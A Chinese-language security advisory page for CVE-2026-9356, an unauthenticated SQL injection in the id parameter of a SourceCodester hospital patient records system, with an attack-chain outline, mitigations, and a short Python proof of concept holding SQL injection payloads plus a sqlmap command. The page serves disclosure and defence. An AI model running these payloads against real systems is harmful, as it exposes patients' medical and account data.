IPBUF安全漏洞报告
English
CVE-2026-9356 CVSS 7.3 高危

CVE-2026-9356 SourceCodester医院患者记录系统SQL注入漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9356
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hospitals Patient Records Management System 1.0

相关标签

CVE-2026-9356SQL注入高危SourceCodesterHospitals Patient Records Management System远程代码执行医疗系统无需认证数据泄露

漏洞概述

CVE-2026-9356是SourceCodester Hospitals Patient Records Management System 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于/admin/patients/manage_history.php文件中,由于对用户输入的ID参数缺乏有效的安全过滤和参数化查询处理,攻击者可以通过构造恶意的SQL语句实现数据库注入攻击。此漏洞可被远程利用,无需任何认证凭证,CVSS评分达到7.3分(高危级别)。攻击者成功利用此漏洞可窃取数据库中的敏感患者信息、医疗记录、用户账户数据等机密数据,甚至可能在特定条件下实现系统权限提升或远程代码执行。漏洞已于2026年5月24日公开披露, exploit代码已在互联网公开流传,相关组织应立即采取防护措施。

技术细节

该SQL注入漏洞位于/admin/patients/manage_history.php文件中的ID参数处理逻辑。攻击者可以通过HTTP请求向该文件传递经过精心构造的ID参数值,利用UNION SELECT、布尔盲注、时间盲注或堆叠查询等SQL注入技术从数据库中提取敏感信息。由于该参数直接拼接到SQL查询语句中而未经过预处理或参数化查询,攻击者可以绕过应用程序的输入验证机制。由于该接口无需认证即可访问(PR:N),攻击者可以直接从网络远程发起攻击(AV:N),无需任何用户交互(UI:N)。成功利用后可能导致患者隐私数据泄露、医疗记录篡改或数据库完全沦陷。攻击者通常会首先通过报错注入或布尔盲注确定数据库类型和版本信息,然后逐步提取数据库表结构和敏感数据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为SourceCodester Hospitals Patient Records Management System 1.0,确认/admin/patients/manage_history.php端点存在
STEP 2
步骤2: 漏洞探测
攻击者向manage_history.php的ID参数发送测试载荷,观察响应判断是否存在SQL注入漏洞
STEP 3
步骤3: 数据库指纹识别
通过报错注入或盲注技术确定数据库类型(MySQL/MSSQL等)、版本信息和数据库用户权限
STEP 4
步骤4: 数据提取
利用UNION注入或盲注技术逐步提取数据库表结构、字段名及敏感数据(患者信息、账户凭证等)
STEP 5
步骤5: 权限提升/持久化
根据数据库用户权限,可能尝试通过写入文件或操作系统命令执行实现服务器权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-9356 SQL Injection PoC # Target: SourceCodester Hospitals Patient Records Management System 1.0 # Vulnerability: SQL Injection in /admin/patients/manage_history.php target_url = "http://target-site.com/admin/patients/manage_history.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND 1=1--", "1' AND SLEEP(5)--", "1' UNION SELECT version(),user(),database()--" ] print("Testing CVE-2026-9356 SQL Injection...") for payload in payloads: params = {"id": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") # Check for SQL error messages or successful injection if "sql" in response.text.lower() or "error" in response.text.lower(): print("Potential vulnerability detected!") except requests.exceptions.RequestException as e: print(f"Error: {e}") print("\nRecommended: Use sqlmap for comprehensive testing") print("sqlmap -u 'http://target-site.com/admin/patients/manage_history.php?id=1' --dbs")

影响范围

SourceCodester Hospitals Patient Records Management System 1.0

防御指南

临时缓解措施
立即限制对/admin/patients/manage_history.php端点的访问,在Web服务器层面配置IP白名单访问控制;部署ModSecurity等WAF规则拦截SQL注入特征载荷;临时关闭患者记录管理系统的网络暴露面,使用VPN或内网访问方式;联系厂商获取安全补丁或考虑使用其他经过安全审计的医疗记录管理系统替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表